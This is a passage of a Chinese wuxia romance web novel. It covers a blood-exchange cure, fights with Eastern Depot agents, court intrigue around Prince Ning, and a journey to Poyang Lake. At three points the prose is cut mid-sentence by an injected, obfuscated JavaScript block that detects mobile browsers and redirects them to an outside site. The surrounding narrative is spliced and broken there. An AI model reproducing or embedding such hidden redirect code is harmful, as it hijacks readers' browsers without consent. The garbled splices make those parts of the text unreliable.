渡口夜静灯昏,一片朦胧烟雨笼下,梁若鸢轻声道:“大人,下雨了,您听见便醒醒,我们要上岸了。” 聂未晨手臂动了动,膝盖微曲,再无动静,梁若鸢将他衣袍稍稍敛起:“大人,您若动不了,我们兴许会弄疼你,忍一忍啊。” 她将他双臂拉起,送到蓝羽面前:“他背后还俩钩子穿的窟窿,看着挺疼的。” 蓝羽站在岸上,点头道好,拉起聂未晨扛上岸:“大人,我们回大功坊落脚,您忍忍。” 聂未晨静静呼吸,没有回应,梁若鸢爬上渡口,脱下外裳盖在他背上:“蓝大人,我断后。” 她未等蓝羽回应,足尖一点,跃上了青瓦飞檐,几个起落间已掠过数条街巷,蓝衫在微雨中已一些湿答答地贴在身上。 她将怀中残缺的账册拢了拢:“若公之于众,足以让半个工部人头落地,想不到我也还有为民除害的一日。” 她留意着四周动静,于一处墙头落下,轻盈如羽,忽觉气息不对,连巡更官和火夫都不见踪影。 “这是哪儿呢?怎么好像迷路了。”她低声作势,右手按在腰间短刀上。 一处房门“吱呀”一声打开,燕十脸探了出来,眉头紧锁:“乔姑娘跟我来,蓝羽已回去了。” 屋内烛火摇曳,干净但空落,不似有人住的地方,床板掀开,下有密道,石阶往下隐约可见火光。 燕十带着她走下去:“这是我们办案时挖的密道,乔姑娘是第一个从这儿走的外人。” “那我可是第一个跟你们惹毛东厂的外人?”梁若鸢眉头皱了皱,“外人”二字听着不爽,她可是在做玩命的事,“大小也算生死之交,燕大人竟说是外人……” 燕十停住,愁苦道:“哎呀,乔姑娘,我不是这个意思……” 梁若鸢眉一挑,从他面前走过:“我知道。” 聂未晨躺在榻上,面色灰白如纸,额上细汗密布,在烛光下泛着诡异的青光。 密道出口在大功坊一处堆放木箱的暗角,梁若鸢爬出后自行穿过两处夹道便回到了张大哥家中。 燕十随她进门,蓝羽单膝跪在榻前,右手搭在聂未晨的脉上。 “那个游医还没来?”燕十低声道。 梁若鸢从怀中取出一只青瓷小瓶握在手里:“蓝大人可知那是什么毒?” “青蚨,东厂专门用来折磨重犯的。” 梁若鸢若有所思,一点点卷起袖子:“那便无药可解,唯有以血换血。” 燕十按下她的手臂:“乔姑娘知道的有点多。” “我游历四海,知道得多有什么奇怪的?”梁若鸢不再掩饰,轻笑一声,甩开他,眼中却无半分笑意,“聂大人若死了,这些乱七八糟的案子便更难查清了,害的还不是我们这些老百姓?” 蓝羽示意燕十退下,起身道:“换血太危险,稍有不慎,两人皆亡。” “他若死了,有些事便难办了……”银针划过她的手心,鲜血涌出,她微微皱了一下眉,“何况……”她顿了顿,“这世上,我的旧识也已不多了……” 她将药丸碾碎混入血中,喂进聂未晨嘴里,药血入喉,聂未晨无意识地皱眉,喉结滚动,“扶他坐起来。”梁若鸢声色沉稳,双手按在聂未晨后背要穴上。 钢钩所伤处,血流经内力相系,从她的手心渡入聂未晨体内,她清晰地感知到毒质盘踞在经脉中的位置,每一处都如附骨之疽。 聂未晨呻吟一声,浑身颤抖,梁若鸢额头渗出汗珠,双手纹丝不动。 燕十守在门外,蓝羽坐下又站起,在屋里来回走动,半个时辰如煎如熬,梁若鸢的嘴唇渐渐没了血色,聂未晨终于吐出一口黑血,缓缓睁开了眼睛。 那双看什么都眉目含情的眼睛蒙了一层雾,迷茫着:“蓝羽?” “大人……”蓝羽正要上前,梁若鸢身子一晃头朝下往地上栽,他一把将她扶住,“乔姑娘!” 聂未晨神志瞬间清明,“乔乔?!乔乔!” 聂未晨将她推起,与蓝羽一同扶住她,“大人,虽说我一心救你,但你千万别自作多情乱想啊。”梁若鸢看他一脸焦急,苦笑了一下,推开他的手,“我还有事需要借大人的手才能办到,不能让大人就这么死了。” 聂未晨低笑一声,那笑声让梁若鸢耳根发热:“是吗?那乔姑娘为何用自己的血救我?蓝羽燕十不行吗?” 梁若鸢正欲反驳,院外突然传来一声冷笑:“此坊竟敢窝藏女贼,再不交出来,今日谁也别想活到天明!” “是韩大用。”燕十脸色骤变,拔了刀。 梁若鸢吹灭房中蜡烛:“蓝大人,你们带大人从密道走,我去引开他。” “不行!”聂未晨紧紧抓住她的手腕,力道大得不似刚从剧毒中恢复的人,“韩大用武功了得,你不是他对手。” 梁若鸢笑了笑:“聂大人这是小看我?”她手腕一翻,轻松挣脱,“大人如今欠我一条命,我也不怕告诉大人,这么多年我独自流浪,何曾怕过谁?” 两人目光交锋,谁也不肯退让,院中传来脚步声,渐行渐近,韩大用阴森的声音响起:“聂大人……今日韩某特来领教江南女贼的功夫,你们不会还要包庇吧?” 聂未晨忽然笑道:“不如我们打个赌?” “什么赌?”梁若鸢警惕道。 “若乔姑娘能在一炷香内甩掉韩大用,那过几日,鄱阳之行,我听乔姑娘指挥,姑娘不是要用我办事吗?当我谢姑娘救命之恩。”聂未晨眼中闪着狡黠的光,“但若不能……接下来的行动你都得听我的。” 梁若鸢不屑道:“聂大人伤成这样还敢跟我赌?” “乔姑娘不敢?”聂未晨挑眉。 赤裸裸的挑衅令梁若鸢心头火起:“好!蓝大人,你看住他!” 话音未落,她已纵身跃出窗外,聂未晨的目光追随着那道身影,嘴角勾起意味深长的笑。 “大人是故意激她?”燕十皱眉,“她胆子真大,飞贼住咱府里,又吃又拿?!” 聂未晨懒洋洋地靠在榻上:“不激她,她怎会全力以赴,平安回来呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762587|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩大用那老狐狸,可不是好对付的。” 屋外,梁若鸢已与韩大用交了手。 她故意放慢速度,引韩大用远离大功坊,两人城中各处屋脊上飞掠,如同两道鬼影。 “乔姑娘何必白费力气?”韩大用的声音似夜间怪鸟,“交出账册,韩某或可留你全尸。” 梁若鸢回身一扫,脚下飞出数片断瓦,韩大用挥剑格挡,瓦碎声在夜空中飘荡,梁若鸢趁机跃上更高处,掷出一枚随身烟弹:“这我不常用,算便宜你了,可贵了。” 白烟弥漫中,她藏入秦淮河上一艘画舫,屏息凝神,韩大用怒骂声渐行渐远,她松了口气,却是一阵眩晕令她碰翻了一旁空箱。 “该死……”梁若鸢咬牙强撑,正要离开,却听到舱外传来轻微的脚步声,她即刻绷紧了身子,拾起手边一把榔头,蓄势待发。 舱门从里面轻轻推开,月光勾勒出一个修长的身影,“你怎么……”梁若鸢瞪大眼睛。 聂未晨食指抵唇,做了个噤声的手势:“韩大用留了后手,燕十和蓝羽正在应付。”他走近梁若鸢,伸手扶住她摇晃的身子,“你失血过多,别逞强。” 梁若鸢挣开他:“赌约还没结束。” 聂未晨低笑:“你已经赢了,韩大用现在正在城东追你的‘替身’呢。” 梁若鸢一愣:“什么替身?” “我让燕十扮成你的样子引开他了。”聂未晨眼中闪着狡黠的光,“不过……我倒是很期待若你真与韩大用周旋,会用什么法子脱身?” 梁若鸢眯起眼睛:“大人跟踪我?” “保护人犯而已。”聂未晨耸肩,“毕竟……你的血现在流在我身体里,我总得负责。” 梁若鸢耳根听得发热,冷哼一声:“大人可别自作多情,既然赌约我赢了,接下来大人就得听我的,官差不能骗老百姓。” “当然。”聂未晨突然凑近,呼吸几乎贴在她耳边,“不过乔姑娘别忘了,我的血里现在也有你的血,这意味着什么,你应该清楚。” 梁若鸢心头一跳,江湖传闻,青蚨血毒一旦换血,两人之间会产生某种微妙联系…… “大人也信这种江湖传言?不过唬小孩儿的把戏。”她推开聂未晨,“当务之急是把证物送到陛下哪里。” 聂未晨退后一步,做了个“请”的手势:“如您所愿,乔指挥使。” 梁若鸢瞪了他一眼,率先走出船舱,月光下,聂未晨看着她的背影,眼中闪过的一丝深意。 两人踏着月色返回大功坊,远处的屋顶上,一道黑影掠过,奔向皇宫。 蓝羽将证物尽数呈上,朱厚照仍在豹房密室中来回踱步,夜明珠冷光下,工部账册残页与佛郎机炮改良图纸在紫檀案几上愈加发黄。 朱厚照看了又看,抓起青瓷茶盏砸向梁柱,碎瓷片在波斯地毯上迸溅如星,茶水沿着柱子一道道滑落。 “好个徐有贞!好个宁王叔!”朱厚照声音压得极低,却让跪在下面的蓝羽脊背生寒,“鄱阳湖底藏战船,运河粮仓变火药库?!他们是要把大明的江山炸个窟窿!” 8. 合作愉快 蓝羽额心触地:“图纸上的改良炮管可连发十二枚,比军器局现用型号射程远三成。工部去年申报的三十万两赈灾银,实则是……” “是给宁王养私兵的。”朱厚照冷笑打断,从楠木匣中取出一封信,扔在蓝羽面前,“看看这个。” 信笺上寥寥数语:“鄱阳水寨已成,佛郎机炮二十尊,唯缺神机营操炮手。”落款处是徐有贞的私印。 “陛下,聂大人遭东厂蓄意抓捕,身受重伤,臣请即刻查抄徐府!” “蠢!”朱厚照一脚踢翻案几,图纸账册哗啦散落,“打草惊蛇让宁王提前造反吗?” 他突然俯身揪住蓝羽衣领,香料气味混着酒气扑面而来:“徐有贞去查鄱阳修堤之事了……朕要燕十明日便去‘调查鄱阳水患’。”他在“调查”二字上重重一顿。 蓝羽瞳孔微缩,燕十特司暗杀,派他亲赴鄱阳,难道…… “那自己上门的女贼呢?”皇帝忽然话锋一转。 “按陛下吩咐,聂大人已在调查她的身世。”蓝羽顿了顿,“东厂阴险狠辣,青蚨毒险些要了大人性命,多亏她与大人换血,大人现已无碍。” 朱厚照露出一个温容的笑:“让那丫头带着另外半本残余账册,等燕十送回消息,便往南昌去。”他转身从多宝格取出一枚龙纹牙牌扔给蓝羽,“叫聂未晨在必要时候,把这个给她。” 蓝羽接令,双手微微一颤,竟是调动南方边军虎符的副令! 朱厚照指尖轻叩鎏金暖炉,炉内沉香木噼啪炸开几点火星:“传曹化成。” 蓝羽尚未来得及退下,东厂督主已快步进殿,曹化成紫袍玉带刚行完礼,朱厚照便将佛郎机炮图纸掷在他脚下。 “朕听闻,东厂最近在查工部的案子?”朱厚照漫不经心地拿起匕首削梨,“你们连聂未晨都请去喝茶了?” 曹化成额角渗出冷汗:“厂卫只是例行……” 梨子“啪”地一声砸在曹化成脚边,汁水溅上了他的蟒袍,朱厚照抚掌大笑:“好个例行公事!那朕也例行公事一番……”他敛了笑容,“韩大用的干儿子昨夜溺毙在秦淮河,曹卿可知?” 曹化成浑身一颤,韩大用正是负责抓捕聂未晨的掌刑提督。 “朕记得《大明律》载有‘诬陷朝廷命官者,凌迟’一句。”朱厚照把玩着匕首,“不过……”他将匕首插在案上,“若有人能找回工部丢失的那二十尊未完工的虎蹲炮,朕便当什么都没发生过。” 曹化成脸色煞白,颔首告退,朱厚照又道:“对了,聂大人养伤需要清静,东厂的人若再踏进北镇抚司……”他指了指匕首,扣指一弹,“朕就送他们去诏狱尝尝新制的梳洗之刑。” 曹化成恨恨咬牙,扮作踉跄退下,蓝羽发现朱厚照掌心有血,方才那匕首竟是攥在手里的。 朱厚照甩了甩血珠,拾起一方锦帕擦了擦,似想起什么,问道:“那女贼……可会仿徐有贞的笔迹?” …… 天将明,承天门缓缓开启,燕十扮作商队悄然出城,蓝羽一身常服送行。 两人刚到城外歇脚,恰逢宁王朱宸濠的仪仗踏着晨光入京,八匹纯白骏马拉着沉香木王辇,两侧侍卫铠甲鲜明,竟比亲王仪制多出十二名刀斧手。 “王爷此番入京,所为何事?”茶楼上有官员小声议论。 “说是献《九州堪舆图》给皇上贺寿……” 燕十压低头顶斗笠,余光瞥见王辇窗帘微动,一张瘦削苍白的面孔若隐若现,宁王的眼睛如两颗黑水银浸在冰里,正盯着锦衣卫衙门的方向。 “不对劲。”蓝羽坐在邻近一桌,低语道,“那王爷左手一直藏在袖中。” 燕十眯起眼,果然看见宁王左袖不自然地鼓胀,当年宁王在南昌遇刺,左手筋脉尽断,如今这般模样…… “是假手。”蓝羽猛然醒悟,“里面藏着东西。” 两人对视一眼,同时想起图纸上那个形如手臂的奇特炮管设计。 正待细看,王辇已转入御道,忽然一阵怪风掀起窗帘,宁王左手袖口露出寸许,金属冷光一闪而逝。 …… “宁王驾到——” 承天门外,朱宸濠一袭蟒袍,面带微笑,踏入皇城,他左手始终拢在袖中,金属指节在阳光下偶尔闪过冷光。 “王爷此番入京,可是专门为陛下贺寿?”礼部官员躬身相迎。 “自然。”朱宸濠含笑点头,目光却扫过皇城角楼,“顺便……探望故人。” 他袖中金属手指微微屈伸,发出极轻的“咔嗒”声。 不远处,聂未晨抱臂立于宫墙阴影下,目光如刀。 “王爷的左手,似乎比去年灵便了许多。” 宁王脚步一顿,缓缓回头,与聂未晨四目相对。 “聂大人好眼力。”他轻笑,“托工部刘匠师的福,这假手如今……妙用无穷。” 话音未落,他袖中忽有寒光一闪,聂未晨瞳孔骤缩,预想的暗器并未袭来,朱宸濠只是抬手理了理衣襟,金属指尖“无意”擦过腰间玉佩,那玉佩上……赫然刻着半幅《九州堪舆图》。 “对了。”宁王转身前意味深长道,“听闻鄱阳湖近日热闹得很,聂大人若有兴趣,不妨去瞧瞧……” 梁若鸢在聂未晨的书房里提笔书信,笔尖松烟墨在信笺上稳稳落下最后一笔。 她轻轻吹干墨迹,将伪造的书信举到窗前细看,字迹瘦硬,锋芒内敛,连徐有贞惯用的那个“鄱”字右上角微妙的顿笔都分毫不差。 “蓝大人,你看像么?”她将信递给身旁的蓝羽。 蓝羽接过信,眉头微皱:“字迹应无破绽,但徐有贞与宁王联络,必有暗记。” 梁若鸢轻笑,从袖中取出一枚青铜小印,往信纸右下角轻轻一按,“清河道人”四字篆文浮现,正是徐有贞与宁王约定的密记。 “之前捡到的残页上正有这个。”她指尖摩挲着印章边缘刻意削掉的缺口,“徐有贞大概也想不到,我们会发现他的印是刻意削缺的。” 十五日后夜。 梁若鸢偷偷出府闲逛,蹲在醉仙楼屋顶,指尖把玩着一枚铜钱。 “燕十失踪,聂未晨入宫,银船改道……”她眯起眼,“这些人,究竟在玩什么把戏?” 夜风拂过,背后瓦片轻响,“乔姑娘好雅兴。” 聂未晨的声音从身后传来,梁若鸢头也不回,反手掷出铜钱。 “叮!” 他将铜钱以两指夹住,而她的匕首,已抵在他腰间。 “聂大人深夜尾随,是想抓我,还是……”她回眸一笑,“求我?” 聂未晨亦笑,忽然扣住她手腕,将人拉近,两人呼吸交错,他另一只手探入她怀中,抽出一张纸条,正是燕十最后传回的信报。 “姑娘偷了我的东西。”他嗓音低沉,“按律,当诛。” 梁若鸢挑眉,膝盖猛然上顶,聂未晨侧身避开,她趁机旋身脱困,短刃如灵蛇出洞,直指他咽喉:“那得看聂大人有没有这个本事。” 刀尖距他喉结三寸,聂未晨从袖中甩出一物,梁若鸢瞳孔一缩,接下,是燕十的腰牌,上面沾着血,刻着一道剑痕。 “一剑封喉。”聂未晨盯着她的眼睛。 “徐有贞果然不放过他们。”梁若鸢冷笑收刀,“所以,大人想与我合作?” 聂未晨忽然逼近,鼻尖几乎贴上她,声音隐忍克制,微微哑在喉间:“乔姑娘说……银船改道……会去哪里?” “凭什么告诉你?”她仰头挑衅。 “凭这个。”他眼中闪过一丝惊喜,她似是知道? 他猛地扯开衣领,心口处一道伤口是从东厂番子手里夺回腰牌时所伤,正渗着血,梁若鸢臂上青蚨血痕竟当真痛感相连。 “……我记得鄱阳湖底有一条暗河。"梁若鸢无奈道,“官银若没运走,许是沉在水寨下面,等着……” “等着宁王用假手带回机关图,把它们铸成火炮。”聂未晨接话,目光锐利如刀,“而徐有贞,就是那个将漕帮灭口的人……” …… 芦苇荡里,燕十以指尖捻起一抹湿润的泥土,凑近鼻尖:“是血,还未干透。” 三日前,他还未到鄱阳境内,撞见漕帮总舵被屠,三十八具尸体横陈码头,刀口整齐,皆是一剑封喉。 “官……银船……改道……” 垂死的漕帮帮主攥住他的靴尖,喉头血沫汩汩,最后吐出的几个字,成了鄱阳湖上的魂灵低语。 燕十起身,夜风掠过湖面,涟漪光动,远处一艘无灯无帆的货船缓缓驶过,船身吃水极深,却未挂漕帮旗号。 他眯起眼,指节按上刀柄,背后传来一声极轻的机括响动。 燕十旋身避过弩箭,却见芦苇丛中寒光连闪,三枚穿骨钉直冲他的额心。 “东厂的人?”他冷笑一声,绣春刀如银龙摆尾,将暗器尽数斩落。 脚下泥土骤然塌陷,火光冲天,爆炸的气浪将他掀入湖中,冰冷的水淹没耳鼻前,他最后看到的,是那艘货船甲板上,一个戴斗笠的男人缓缓举起手,袖口银线绣着一只振翅欲飞的燕子。 …… 聂未晨指尖轻叩案上密旨,烛火映得他眉目如刀。 “明日卯时出发,走漕运水路。”他冷声道。 梁若鸢坐在窗棂上,指尖转着无聊时偷来的东厂令牌,笑得漫不经心:“走陆路,经河南下。” “水路快。” “陆路安全。” 两人目光相撞,似有火花迸溅。 蓝羽抱剑轻咳:“大人,刚收到弟兄线报,曹化成已派死士埋伏在运河闸口。” 聂未晨眸色一沉,走到窗前,忽然擒住梁若鸢的手腕,将她扯到舆图前,沉声道:“鄱阳湖三十八条人命等不起。”他气息拂过她耳畔,“还是说……乔姑娘怕水?” 梁若鸢反手将匕首抵在他喉间,朱唇轻勾:“怕沉船时,来不及救你。” 翌日入夜,官船在月色下静静过闸,梁若鸢的红裙掠过桅杆,旋身甩出三枚铜钱。 几道黑影从水中跃出,栽倒在甲板上,聂未晨手中绣春刀寒光一闪,斩断船舱屋檐上一人弓弦,忽听蓝羽厉喝:“大人!小心火船!” 十丈外,三艘满载火油的舢板顺流而来,梁若鸢纵身跃入水中。 水底暗流翻涌,她熟练躲过,一刀割断火船缆绳,却有铁链缠住了她的腰肢,将她往下拖入水中。 河水灌入她的耳鼻,冰冷刺骨,她渐渐窒息,失去意识的一瞬,一双铁臂箍住了她,带着她破水而出。 “咳咳……放手!”她挣扎着推开他。 聂未晨将她摁在湿透的甲板上:“这就是你说陆路安全的原因?”他掌心却贴在她后背,内力缓缓渡入,逼出她呛进胸口的水。 梁若鸢舔掉唇边水珠,笑得挑衅:“聂大人不嫌我多管闲事?”话音未落,她猛地扯开他衣襟,发现方才昏暗时看走了眼,他没受伤。 聂未晨正要问她,暗处射来弩箭,他提刀而起,“铛”地一声击回,芦苇丛中传来一声痛呼,更多弩箭破空而来。 梁若鸢拉他躲到船舱里:“怎么样?我就说了,让你说话不算话,大人就该听我指挥才对。” 蓝羽自仓底上来:“大人,我们从这里偷偷下船,改走陆路。” 三人趁夜乘小舟下水,沿着芦苇偷偷上岸,蓝羽找马,刻意自己走在前面,身后两人一前一后,各怀心思。 “东厂的人跟得真紧。”梁若鸢懒洋洋地踢着石子,“聂大人,你的仇家不少啊。” 聂未晨淡淡扫她一眼:“乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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混战中,梁若鸢旋身落在聂未晨身后,咬牙一刀,短刃切断了偷袭者的喉咙。 “欠我一次。”她轻笑道。 聂未晨反手搂住她,两只飞箭擦脸而过,他嗓音低沉:“回去慢慢还。” 韩大用阴笑走近,一手擦去唇角血迹,身后二十余名东厂番子持弩围拢。 “聂大人,咱家给你们挑的葬身之地可还满意?” 梁若鸢背靠聂未晨,短刃滴血,朱唇勾起:“韩档头,你话这么多,是怕待会儿没机会说遗言?” 聂未晨将刀横于身前,嗓音冷冽:“蓝羽,点火。” 无光处盐仓爆起火光,埋伏已久的锦衣卫精锐从中杀出! 韩大用脸色骤变:“你早有准备?!” 聂未晨刀光如电:“等你多时了。” 梁若鸢惊讶之余颇觉满意,旋身甩出铜钱,将番子逐一封喉,娇笑道:“东厂的狗,杀起来就是顺手,铜钱祭天,明日我赚大钱。” 韩大用掷出烟弹,雁翎剑直取梁若鸢后心,聂未晨瞳眸骤缩,猛地将她扯进怀中,烟雾里传来“嗤”的入肉声。 “你!”梁若鸢摸到他肩头渗出的血,臂上毒痕传来痛觉,她指尖发颤。 聂未晨却扣住她后颈逼她抬头:“专心。” 两人呼吸交错间,韩大用的刀已劈至面前,梁若鸢仰身下腰,聂未晨借力腾空,绣春刀凌空斩下,韩大用右臂齐根而断。 “啊——!”他惨叫着后退,却撞上蓝羽布下的钢丝,咽喉瞬间割裂。 “这才叫……”她说着停住,恶心,嫌弃得躲开,轻笑,“大人,合作愉快。” 盐仓在身后轰然坍塌,藏匿的东厂番子一个未留,聂未晨拽着她跃入临近河道,水下,她长发如水藻般散开,他紧扣着她的腰肢将她推进芦苇荡中。 两人一同浮出水面,蓝羽紧随其后,梁若鸢抹了把脸就想骂人,却见聂未晨肩头伤口露出,已在水中泡得发白。 “逞什么英雄!”她撕开他的衣袍,火恼又嫌弃。 “等着!”她接着未明的天光,在林中找到了止血祛毒的草药,寻了石块研碎。 蓝羽点了火堆,与聂未晨一同看着她:“乔姑娘,这是什么?” 梁若鸢指尖沾药,重重按在聂未晨伤口上:“止血的草药,我用过,没毒,放心吧。” 聂未晨闷哼一声,笑了笑:“乔乔……” “干嘛?” “你手在抖。” 梁若鸢瞪他:“河水太冷了!” 他低笑,忽然抬手抚去她睫毛上的水珠:“嘴硬。” 天还未亮起,篝火旁,蓝羽背过身去睡下,梁若鸢瞪着眼睛躲开他,一遍遍拧着湿透的衣裙,聂未晨默默将伤口缠上了布条。 “喂。”她忽然踢他的腿,“你早知道韩大用会追来?” “嗯。” “你拿自己当饵?” “你也是饵。” 她气笑,扑过去掐他脖子:“聂未晨!” 聂未晨任由她掐,却在她要撤手时扣住她手腕:“乔乔。” 将明的天光下,他的眸色深得惊人:“你叫什么名字?为什么非要跟来?” 她呼吸微乱,眼神躲闪一瞬,扬起下巴:“当然是为了……” 远处传来哨声,两人同时松了手,梁若鸢耳尖通红,背过身去,强撑着冷声道:“我叫什么聂大人不必知道,你我官犯殊途,不过同行一程……还有……”她停住片刻,刻意摸上腰间暗袋,“下次再算计我,别怪我毒哑你!” 聂未晨低笑,摩挲着掌心残留的温度,轻声道:“……等你。” 9. 许是为你 “试试图我。” 话音未落,巷口已传来东厂番子的厉喝:“搜!活要见人,死要见尸!” 梁若鸢闪身隐入暗处,聂未晨闪向另一侧,她忽听头顶枝叶摇响,蓝羽不知何时倒挂在树上,手中抛玩着一枚东厂腰牌,冲她眨了眨眼。 “乔姑娘,”他压低声音,“大人方才让我给你带句话……” “不听!才几步?还带话?”梁若鸢看了一眼就在不远处的聂未晨,袖中铜钱已蓄势待发。 蓝羽一笑,甩手将腰牌砸向追兵,那腰牌炸开一团绿雾,番子们顿时咳得直不起腰来。 “大人说……”蓝羽趁乱跃下,与梁若鸢背靠背迎敌,“毒哑太便宜,不如再合作一把。” 梁若鸢嗤笑,反手甩出三枚铜钱穿入番子喉咙,背后忽然一暖,聂未晨不知何时已贴了上来,绣春刀寒光如练,替她挡了侧面一道冷箭。 “合作?”她侧头,唇几乎擦过他下颌,“聂大人欠我不少了,如今该想想拿什么换才对。” 聂未晨刀锋一挑,割断她腰间暗袋系绳,袋中满是各种稀有的药剂,皆落进他的掌心。 梁若鸢将他一把抓住,短刃虚晃而过,却没能夺回来:“你干嘛?!” 他任由刀尖刺破衣料,从怀中掏出一枚赤玉令牌:“南昌卫所的调兵符,换乔姑娘此后为北镇抚司办事。” 梁若鸢双眼亮起:“你竟偷了宁王的兵符?” “现在……”聂未晨揽住她的腰腾空而起,两人旋身而退,躲过一轮箭雨,“乔姑娘要不要比比,谁钓的鱼更大?” 三人在树林间飞掠,蓝羽打头阵,专挑树枝大石落脚,梁若鸢则每过几棵树,便撒一把磷粉,误导番子分兵。 水边码头近在眼前,聂未晨将梁若鸢拽住:“再信我一次。” 她还未反应,他已带着她跃入一艘运粪船,恶臭扑鼻,东厂追兵嫌恶绕道,蓝羽将船底暗格一掀,赫然是条直通水下的密道。 “五年前查案时挖的,”聂未晨在水流轰鸣中贴着她耳畔说道,“我亲手挖的。” 梁若鸢怔住,这有什么好得瑟的?这人什么毛病? 三人从城郊荒坟钻出,天已破晓,蓝羽歇了一会儿便跑去放哨,梁若鸢拧着湿发看四周空旷无人,远处还有一方亭子,哂笑道:“聂大人这密道莫不是专为私会相好挖的?” 聂未晨忽然将她抵在墓碑前,指尖抚过她的锁骨:“许是为你?”他轻笑,将她的暗袋系回她腰间,“毕竟世上也只有乔姑娘敢偷到我家里,那总该赔条生路。” 远处传来蓝羽一声干咳:“那个……大人!他们绕迷糊了,往反方向去了!” 梁若鸢提膝一顶,聂未晨瞬间侧开,她耳根通红,大步朝前,边走边骂:“赶紧赶路!你这人就是为官不正!” …… 旭日之下,鄱阳湖面波纹潋滟,梁若鸢伸了个懒腰,脸上迎了一片日曦:“终于到了~” 聂未晨望着远处漕帮旗帜,眸色深沉:“真正的麻烦才刚开始。” 她笑着将一物放在他手上,是半块染血的飞鱼符,“你的东西,还你。”她眨了眨眼,似是挑逗,“这趟……又算我帮了你们大忙,大人回去打算怎么谢我?” 聂未晨收拢掌心,将她拉进船舱,门一关,抵在门板上:“乔乔。” “嗯?”梁若鸢瞪着眼睛,视线迟疑着转开,好像玩大了…… “有些东西,我倒是愿意给,就怕你玩不起。” 她眼一眨,有什么玩儿不起的? 她指尖勾住他的腰带:“可我就喜欢玩大的。” 聂未晨捏住她下巴,拇指擦过她的唇畔:“你确定?” “当然确定,巴结大人,万事不愁。”她笑着凑近,“我还要偷光大人府里的东西。”朱唇几乎贴上他,“大人心跳得快炸了,东厂的毒真有意思。” 他眸色骤暗,猛地将她架起,“乔乔。” “聂、未、晨”她一字一顿,似在品味这个名字,从心里到眼底,不知觉地溢出些许苦涩。 下一秒,他狠狠咬住了她的唇,不是吻,是撕咬,梁若鸢屈膝顶住他腹部,却被他扣住腿反压在门上,喘息间透出血腥味。 “你属狗的?!”她舔着破皮的嘴唇骂道。 聂未晨扯开飞鱼服的领口:“我不知道我如何生的,但我知道我为了什么而活……” 门外暴雨落下,霎时电闪雷鸣,他攥住她手腕按在门板上,“你非要跟着我,到底图什么?” 雨声冲耳,梁若鸢低声笑了笑,不知觉地带着轻微的叹息:“聂大人猜猜,我图什么?” “试试图我。”他一手握住了她一侧脖颈。 雷声炸响,他重重吻住她,滚烫而缓慢,似带着压抑已久的情绪。 梁若鸢有些透不过气来,揪住了他散落的长发,在唇齿交缠间尝到一丝咸涩,不知是血还是泪。 她睁开眼,门外甲板传来一声重响,两人鼻息交缠间血腥味混合着未尽的心跳声。 聂未晨拇指擦过梁若鸢的唇角,眼中浓雾未散,舱外传来叩门声,“大人!燕十回来了,伤得不轻。” 聂未晨眼神一凛,松开钳住梁若鸢的手,她顺势滑下门板,暗暗松了口气。 她理了理凌乱的衣裙,嘴角却扬起,笑意刻意地得逞:“看来大人的麻烦比想象中来得快。” 甲板上,燕十半跪在地,左肩一道刀伤深可见骨,血水混着雨水在甲板上蜿蜒成溪,顺着甲板的纹路流入河水中。 聂未晨冲进雨中将他扶起:“进来,快。” 燕十从怀中掏出一封信函,防水的油纸之下可见信上血迹:“徐有贞早有防备……卑职无能……” 梁若鸢俯身查看,指尖轻点燕十伤口边缘:“不好,这渐变的颜色,像是断命散,两个时辰不解,神仙难救。” 她抬眼望向聂未晨:“燕大人须得休养,还要花我的钱。”她将怀中药瓶取出,倒了几枚红丸塞进燕十嘴里,“哎……我的灵药啊……亏本亏本,何时回点儿呢?” 聂未晨看过信函,火漆印已被血水晕开,露出里面半页残破账目。 “漕帮的私盐账目?”他眉头紧锁,“徐有贞一个工部尚书,要这个做什么?” “不止私盐。”梁若鸢抽走残页,对着油灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762589|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展开,“你看这暗记,会不会是宁王府的密文?” 她指尖在某处花纹上一顿,“更早前,我听人说有批火器从天津卫出海,目的地也说是鄱阳。” 窗外划过一道闪电,火光在聂未晨的脸上闪过,雷声轰响,梁若鸢听见他指节咔咔作响。 她将账册残卷拍在他胸口上:“东厂会拼命追回这半本要命的残账,聂大人让我带着去南昌,真是不把我当人,”她压低声音,继续道,“但大人自己也要小心了,接触过漕帮的他们应是一个都不会留。” 舱外传来哨声,湖面隐约可见数艘快船逼近,燕十挣扎着起身:“属下……” “坐下吧你!”梁若鸢将燕十一把按下,“到我玩儿了。” 聂未晨扯下飞鱼服外袍扔给梁若鸢,“穿上,走舷窗下水。”又转向蓝羽,“发信号给南昌卫所,就说发现白莲教余孽。” 梁若鸢却将飞鱼服甩了回去:“聂大人是不是忘了什么?”她从袖中抖出另一份一模一样的账册,“此行听我指挥。”说罢,她忽然吻上他的唇,趁他怔愣,翻身跃出窗外。 “回来!”聂未晨冲到窗边,只见湖面涟漪未散,人影已杳。 东厂船只纷纷转向,燕十捂着伤口起身:“大人,她这是……” 